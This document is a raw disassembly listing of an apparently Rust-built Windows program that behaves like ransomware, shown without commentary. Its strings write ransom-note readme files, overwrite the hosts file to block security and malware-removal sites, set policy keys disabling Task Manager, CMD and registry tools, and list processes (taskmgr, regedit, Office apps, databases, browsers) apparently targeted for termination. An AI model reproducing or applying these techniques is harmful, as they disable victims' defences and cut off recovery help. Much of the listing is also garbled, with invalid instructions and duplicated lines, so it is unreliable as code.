mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_assets_style.css
lea rcx, [rsp + 0x30]
mov r8d, 0x17
call fcn.14000f9e0
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.1400863b0
cmp qword [rsp + 0x38], 0
jne 0x140031009
cmp qword [rsp + 0x268], 0
jne 0x14003102a
test rbx, rbx
je 0x1400301b6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001ed10
mov r15, qword [rsp + 0x270]
cmp r15, 4
jbe 0x140031c38
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x60]
mov r8, qword [r14 + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140040b30
lea rbx, [r14 + 8]
jmp 0x140030209
add rbx, 0x18
dec r15
je 0x140030220
cmp qword [rbx], 0
je 0x140030200
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x140030200
cmp qword [rsp + 0x268], 0
je 0x14003023d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1d0], rax
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031cf9
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.1400863b0
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_assets_script.js
lea rcx, [rsp + 0x30]
mov r8d, 0x17
call fcn.14000f9e0
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.1400863b0
cmp qword [rsp + 0x38], 0
jne 0x14003104a
cmp qword [rsp + 0x268], 0
jne 0x14003106b
test rbx, rbx
je 0x140030346
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001ed10
mov r15, qword [rsp + 0x270]
cmp r15, 5
jbe 0x140031c4e
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x78]
mov r8, qword [r14 + 0x88]
lea rcx, [rsp + 0x1e0]
call fcn.140040b30
lea rbx, [r14 + 8]
jmp 0x1400303a9
cmp qword [rbx], 0
je 0x1400303a0
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x14002fe69
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14002fe6e
jmp 0x14002fe80
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x14003000f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x140030014
jmp 0x140030026
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x14003019f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x1400301a4
jmp 0x1400301b6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x14003032f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x140030334
jmp 0x140030346
lea rdx, str.C:WindowsSystem32driversetchosts_n___Copyright__c__1993_2009_Microsoft_Corp._n___n___This_is_a_sample_HOSTS_file_used_by_Microsoft_TCP_IP_for_Windows._n___n___This_file_contains_the_mappings_of_IP_addresses_to_host_names._Each_n___entry_should_be_kept_on_an_individual_line._The_IP_address_should_n___be_placed_in_the_first_column_followed_by_the_corresponding_host_name._n___The_IP_address_and_the_host_name_should_be_separated_by_at_least_one_n___space._n___n___Additionally__comments__such_as_these__may_be_inserted_on_individual_n___lines_or_following_the_machine_name_denoted_by_a__symbol._n___n___For_example:_n___n________102.54.94.97_____rhino.acme.com___________source_server_n_________38.25.63.10_____x.acme.com_______________x_client_host_n_n___localhost_name_resolution_is_handled_within_DNS_itself._n___t127.0.0.1_______localhost_n___t::1_____________localhost_n_n__127.0.0.1_malware_guide.com_n__127.0.0.1_www.pcrisk.pt_n__127.0.0.1_www.pcrisk.com_n__127.0.0.1_adware.guru_n__127.0.0.1_www.cyclonis.com_n__127.0.0.1_jp.broadcom.com_n__127.0.0.1_www.broadcom.com_n__127.0.0.1_www.enigmasoftware.com_n__127.0.0.1_howtofix.guide_n__127.0.0.1_easysolvemalware.com_n__127.0.0.1_bbs.360.cn_n__127.0.0.1_pcsafetygeek.com_n__127.0.0.1_tria.ge_n
lea rcx, [rsp + 0x260]
mov r8d, 0x25
call fcn.140086310
movzx eax, byte [0x1400f92c0]
mov ecx, 0x4b7
mov edx, 1
call fcn.14003e500
test rax, rax
je 0x140031e2a
mov rbx, rax
lea rdx, [0x1400d53e5]
mov r8d, 0x4b7
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xf8], 0
jne 0x1400311db
call fcn.140097850
lea r8, [rsp + 0x90]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0x100]
inc qword [rax + 0x100]
movups xmm1, xmmword [0x1400eb8b0]
movaps xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x1400eb8c0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm0
lea r14, [rsp + 0x70]
mov edx, 1
mov rcx, r14
call fcn.1400a9440
lea r9, [rsp + 0x280]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], 0x4b7
mov qword [rsp + 0x290], 0x4b7
lea rcx, [rsp + 0x1a0]
lea r8, [rsp + 0x30]
mov rdx, r14
call fcn.14001b6c0
mov r8, qword [rsp + 0x1a0]
test r8, r8
je 0x1400312b7
cmp qword [rsp + 0x1a8], 0
je 0x1400312b7
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x640], xmm0
movaps xmmword [rsp + 0x650], xmm1
movaps xmmword [rsp + 0x660], xmm2
lea rcx, [rsp + 0x640]
call fcn.1400296e0
test rax, rax
je 0x140031599
mov rbx, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.14003e500
test rax, rax
je 0x140031e19
mov r14, rax
mov qword [rax], rbx
lea r15, [0x1400b0c00]
cmp qword [rsi + 0x20], 0
jne 0x14003174b
jmp 0x14003175e
test r13, r13
je 0x140031350
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
call fcn.14002ebf0
mov r15, qword [rsp + 0x260]
test r15, r15
je 0x140031715
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
lea rcx, [0x1400bb823]
mov edx, 7
mov r8, r15
call fcn.14000d1a0
test al, al
je 0x140031691
test r13, r13
je 0x1400313b1
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi + 0x78], rbx
mov qword [rsi + 0x80], r14
lea r13, [rsi + 0xb0]
mov byte [rsi + 0xb0], 0
jmp 0x14002fb75
lea rdx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031ee7
mov rbx, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.1400863b0
mov r14, qword [rsp + 0x260]
mov r15, qword [rsp + 0x270]
lea rdx, str.readme_README.html
lea r12, [rsp + 0x70]
mov r8d, 0x12
mov rcx, r12
call fcn.14000f9e0
lea rcx, [rsi + 0x38]
mov rdx, r14
mov r8, r15
mov r9, r12
call fcn.1400087e0
cmp qword [rsp + 0x268], 0
je 0x140031649
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x140031660
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x48]
call fcn.140008830
test rax, rax
je 0x140031f10
mov rbx, rax
mov r14, rdx
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], rdx
lea r12, [rsi + 0x70]
mov byte [rsi + 0x70], 0
jmp 0x14002f3f2
test r13, r13
je 0x1400316a8
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
call fcn.14002ebf0
mov r15, qword [rsp + 0x260]
test r15, r15
je 0x140031715
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
lea rcx, [0x1400bb82a]
mov edx, 4
mov r8, r15
call fcn.14000d1a0
test al, al
je 0x14003186b
test r13, r13
je 0x140031705
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbx
mov rdx, r14
call fcn.14002d8c0
jmp 0x14002fcbc
mov r14, qword [rsp + 0x268]
mov r15, qword [rsp + 0x270]
mov byte [r12], 1
cmp qword [rsi + 0x40], 0
je 0x140031744
mov r8, qword [rsi + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x20], 0
je 0x14003175e
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r15
mov al, 1
xor ecx, ecx
mov qword [rdi], rcx
mov byte [rsi + 0x58], al
movaps xmm6, xmmword [rsp + 0x670]
add rsp, 0x688
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
shr ecx, 0x1a
std
invalid
test r13, r13
je 0x14002fcbc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002fcbc
add cl, ch
xor esp, esp
invalid
mov dword [rsp + 0x68], edi
lea rax, [0x1400d52e8]
mov qword [rsp + 0x30], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0x38], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x260], rax
mov dword [rsp + 0x260], eax
mov dword [rsp + 0x260], eax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x270], r12
mov qword [rsp + 0x278], 1
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x70
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
lea rdx, [rsp + 0x260]
call fcn.14000f900
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x500], rax
test byte [rax + rax], ah
add eax, 0x100f0000
je 0x14003193f
js 0x140031965
lea edx, [0x1400b24c4]
test byte [rax + rax], ah
add eax, 0x100f0000
je 0x14003193f
js 0x140031965
lea edx, [0x1400b24c4]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
add al, ch
sbb eax, 0x800004fe
mov esp, 0x8824
add byte [rbx], al
add al, ch
sbb eax, 0x800004fe
mov esp, 0x8824
add byte [rbx], al
jne case.0x140028086.82
add byte [rax], al
mov r14, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b239c]
lea rcx, [rsp + 0x260]
mov rdx, r14
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0xe], cl
call fcn.1400863b0
mov r15, qword [rsp + 0x260]
mov r12, qword [rsp + 0x270]
movsb byte [rdi], byte [rsi]
and al, 0x70
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x86b96
movsb byte [rdi], byte [rsi]
and al, 0x70
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x86b96
lea r13, [rsp + 0x70]
mov r8d, 0x12
mov rcx, r13
call fcn.14000f9e0
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, r12
mov r9, r13
call fcn.1400087e0
cmp qword [rsp + 0x268], 0
je 0x1400319cd
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x1400319e4
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov rdi, rcx
call fcn.140008830
test rax, rax
je 0x140031f7e
mov r15, rax
mov r12, rdx
lea rdx, [0x1400b24c4]
mov eax, 0x4800080a
lea ecx, [rsp + 0x70]
mov r8d, 0xb
call fcn.140081750
cmp byte [rsp + 0x88], 3
jne 0x140031f98
mov r13, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
lea rdx, str.Desktop
cmp byte [rdx], cl
add byte [rbp + rcx*4 + 0x74], cl
and al, 0x70
mov r8d, 7
mov rcx, r14
call fcn.14000f9e0
lea rcx, [rsp + 0x260]
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
mov word [rax + riz*2], fs
add al, byte [rax]
add byte [rcx + rcx*4 - 0x16], cl
mov r8, rbp
mov r9, r14
call fcn.1400087e0
test rbx, rbx
je 0x140031a83
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rsp + 0x260]
mov r8, qword [rsp + 0x270]
mov rax, qword [rsp + 0x500]
mov eax, dword [rsp + 0x500]
mov eax, dword [rsp + 0x500]
mov qword [rsp + 0x1a0], rax
movups xmmword [rsp + 0x1a8], xmm6
adc dword [rsp + 0x1a8], esi
adc dword [rsp + 0x1a8], esi
lea rcx, [rsp + 0x70]
lea r9, [rsp + 0x1a0]
invalid
mov rdx, r13
call fcn.1400087e0
mov rbp, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x80]
mov rcx, rbp
call fcn.140008830
std
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
jrcxz 0x140031ae0
invalid
test rax, rax
je 0x140031fc1
add al, 0
invalid
add byte [rax], al
mov r9, rdx
mov rcx, r15
ror dword [rcx + rcx*4 - 7], 1
mov rdx, r12
mov r8, rax
mov eax, eax
mov eax, eax
call fcn.14002f200
cmp qword [rsp + 0x78], 0
jl 0x140031b17
js 0x140031af5
je 0x140031b09
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x7e8ff
adc eax, 0x7e8ff
invalid
cmp qword [rsp + 0x268], 0
je 0x140031b26
invalid
mov rcx, qword [0x1400f91f8]
fnsave dword [rsi + 0xc]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0x128e53123
invalid
invalid
loop 0x140031b0c
invalid
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
je 0x140031b40
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
lea ecx, [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add al, ch
jae 0x140031bca
call fcn.140029ac0
movzx eax, byte [rsp + 0x27b]
add byte [rax], al
invalid
add byte [rax], al
mov r14, qword [rsp + 0x260]
cmp al, 2
jne 0x140031b73
mov r15, qword [rsp + 0x268]
add byte [rax], al
mov rdi, qword [rsp + 0x68]
jmp 0x14003175e
sti
invalid
invalid
sti
invalid
movups xmm0, xmmword [rsp + 0x268]
mov edx, dword [rsp + 0x27c]
lea rcx, [rsi + 0x18]
push 0xffffffff8b000002
xchg esp, eax
and al, 0x7c
add al, byte [rax]
add byte [rax - 0x73], cl
sbb byte [rcx + r9*4 + 0x76], r9b
sbb byte [rdi], cl
lea ecx, [rsi + 0x18]
mov qword [rsi + 0x18], r14
movups xmmword [rsi + 0x20], xmm0
adc dword [rsi + 0x20], eax
adc dword [rsi + 0x20], eax
mov byte [rsi + 0x33], al
mov dword [rsi + 0x34], edx
mov word [rsi + 0x30], 0x100
xor byte [rax], r8b
add esi, eax
xor r8b, byte [rax]
xor byte [rax], al
add esi, eax
xor r8b, byte [rax]
call fcn.14002c9a0
test rax, rax
je 0x140031bc3
invalid
sbb ecx, dword [rcx - 0x77]
invalid
mov r14, rax
mov r15, rdx
mov rdi, qword [rsp + 0x68]
invalid
cmp qword [rsi + 0x20], 0
jne 0x14003174b
sti
invalid
invalid
sti
invalid
jmp 0x14003175e
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x39
mov dword [rsi + 0x68], 0x39
lea rax, [0x1400bbd7e]
lea eax, [0x1400bbd7e]
mov qword [rsi + 0x70], rax
mov qword [rsi + 0x78], 0x14
add byte [rax], al
add bh, al
xchg byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rsi + 0x408], 0
mov dword [rsi + 0x400], 0
mov byte [rsi + 0x408], 0
mov r13, qword [rsp + 0x508]
mov rdi, qword [rsp + 0x68]
jmp case.0x14002f3a6.3
push 0xffffffffffd79ce9
dec dword [rbp + rcx*4 + 5]
jne 0x140031c7a
lea r8, str.srcui_render.rs_
or byte [rax], al
mov ecx, 2
mov rdx, r15
mov edx, edi
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov edx, edi
mov edx, edi
call fcn.1400a9d70
ud2
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
invalid
invalid
ja 0x140031c90
lea r8, str.srcui_render.rs_
or byte [rax], al
mov ecx, 3
mov rdx, r15
call fcn.1400a9d70
cmp al, byte [rcx + 0xb0f0007]
cmp al, byte [rcx + 0xb0f0007]
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
jns 0x140031ca6
lea r8, str.srcui_render.rs_
lea eax, [0x1400b85b8]
or byte [rax], al
mov ecx, 4
mov rdx, r15
cli
add byte [rcx + rcx*4 - 6], cl
cli
call fcn.1400a9d70
ud2
lea r8, str.srcui_render.rs_
jnp 0x140031cbc
or byte [rax], al
mov ecx, 5
mov rdx, r15
call fcn.1400a9d70
invalid
add byte [rdi], cl
or ecx, dword [rdi]
ud2
movups xmm0, xmmword [rsp + 0x70]
adc byte [rsp + 0x70], al
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
jo case.0x140023dd5.265
add byte [rax], al
jo case.0x140023dd5.265
add al, byte [rax]
add byte [rdi], cl
invalid
add byte [rax], al
movaps xmmword [rsp + 0x260], xmm0
sub dword [rsp + 0x260], eax
lea rax, str.srcmain.rs
jmp 0x140031d8f
lea rcx, str._async_fn__resumed_after_completion
lea ecx, str._async_fn__resumed_after_completion
jl 0x140031c8e
cld
invalid
lea r8, str.srcmain.rs
lea eax, [0x1400d5360]
mov edx, 0x23
call fcn.1400a9e70
ud2
or ecx, dword [rdi]
adc byte [rsp + 0x70], al
and al, 0x70
movups xmm0, xmmword [rsp + 0x70]
and al, 0x70
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
lea eax, [0x1400bc1b8]
add al, byte [rax]
add byte [rax - 0x73], cl
lea eax, [0x1400bc1b8]
lea eax, [0x1400bc1b8]
movsb byte [rdi], byte [rsi]
or byte [rax], al
jmp 0x140031d8f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
jo 0x140031ce5
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x260], eax
add al, byte [rax]
invalid
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031d8f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031d8f
sub dword [rsp + 0x270], ecx
add al, byte [rax]
add byte [rdi], cl
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x260], xmm0
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031d8f
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031d8f
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
invalid
add byte [rax], al
lea rax, str.srcmain.rs
movsb byte [rdi], byte [rsi]
or byte [rax], al
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0xb9995
invalid
lea rcx, str.called__Result::unwrap____on_an__Err__value
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea r9, [0x1400b1270]
lea r8, [rsp + 0x260]
add byte [rdx + 0x2b], bh
add byte [rax], al
add al, ch
test byte [rdi], r8b
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea ecx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
call fcn.1400aa200
ud2
lea rcx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea ecx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea r8, str.srcmain.rs
cmpsb byte [rsi], byte [rdi]
or byte [rax], al
mov edx, 0x16
call fcn.1400aa2a0
invalid
test byte [rdi], al
add byte [rdi], cl
invalid
add al, ch
rol byte [rdi + rax + 0x480b0f00], cl
lea ecx, str.no_entry_found_for_key_NaiveDateTime__Duration__overflowedC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fchrono_0.4.31_src_naivedatetimemod.rs
lea r8, str.srcmain.rs
lea eax, [0x1400bc428]
lea eax, [0x1400bc428]
mov edx, 0x16
add byte [rax], al
call fcn.1400aa2a0
ud2
invalid
or eax, 0x7f107
lea r8, str.srcmain.rs
mov edx, 0x16
call fcn.1400aa2a0
ud2
mov ecx, 1
add byte [rax], al
add byte [rdx + 0xb], bh
mov edx, 0xb
add al, ch
mov ebp, 0xf00077d
or esi, dword [rax - 0x46ce14fe]
or byte [rax], al
call fcn.1400a9bd0
ud2
mov al, 2
jmp 0x140031e4a
mov ecx, 8
add byte [rax], al
mov edx, 8
add byte [rax], al
call fcn.1400a9bd0
ud2
mov ecx, 1
mov edx, 0x4b7
add al, ch
xchg edi, eax
jge 0x140031e3f
add byte [rdi], cl
invalid
add al, ch
xchg edi, eax
jge 0x140031e3f
add byte [rdi], cl
or ecx, dword [rbx + 0x3408b08]
mov eax, dword [rax + 3]
add ecx, dword [rcx - 0x76ccdbbc]
and al, 0x30
mov dword [rsp + 0x33], eax
mov dword [rsp + 0x30], ecx
xor ecx, dword [rcx + 0x3130244c]
ror byte [rcx + rcx*4 + 0x64], 0x24
jo 0x140031e98
xor eax, eax
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], rbx
pop rsp
and al, 0x78
mov dword [rsp + 0x78], ebx
pop rsp
and al, 0x78
mov qword [rsp + 0x80], r8
mov byte [rsp + 0x88], al
test byte [rax + rax*4], ah
and al, 0x80
add byte [rax], al
add byte [rax + 0x882484], cl
add byte [rax], al
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rsp + 0x89], eax
and al, 0x89
add byte [rax], al
invalid
and al, 0x89
add byte [rax], al
add byte [rcx + 0x8c248c], cl
mov dword [rsp + 0x8c], ecx
mov dword [rsp + 0x8c], ecx
lea rax, [0x1400bb8d0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
cwde
or eax, dword [rax]
lea r9, [0x1400b1270]
lea r8, [rsp + 0x70]
mov edx, 0x2b
call fcn.1400aa200
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
lea rcx, str._async_fn__resumed_after_completion
lea rcx, str._async_fn__resumed_after_completion
lea ecx, str._async_fn__resumed_after_completion
lea r8, [0x1400bb830]
mov edx, 0x23
call fcn.1400a9e70
ud2
jo 0x140031ed3
adc byte [rsp + 0x80], cl
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031d8f
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x270], ecx
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031d8f
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
or eax, 0xbc749
lea r8, str.srcmain.rs
mov edx, 0x2b
add al, ch
jg 0x140031f2e
add byte [rdi], cl
invalid
add al, ch
jg 0x140031f2e
add byte [rdi], cl
or ecx, dword [rdi]
adc byte [rsp + 0x70], al
jo 0x140031f3f
movups xmm1, xmmword [rsp + 0x80]
adc byte [rsp + 0x80], cl
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
test byte [rax + riz*2], ah
add al, byte [rax]
add byte [rax], al
lea rax, str.srcmain.rs
add byte [rax], al
lea rax, str.srcmain.rs
jmp 0x140031d8f
invalid
ud2
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rax, str.srcmain.rs
jmp 0x140031d8f
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.srcmain.rs
mov edx, 0x2b
call fcn.1400a9e70
ud2
add byte [rdi], cl
or ecx, dword [rdi]
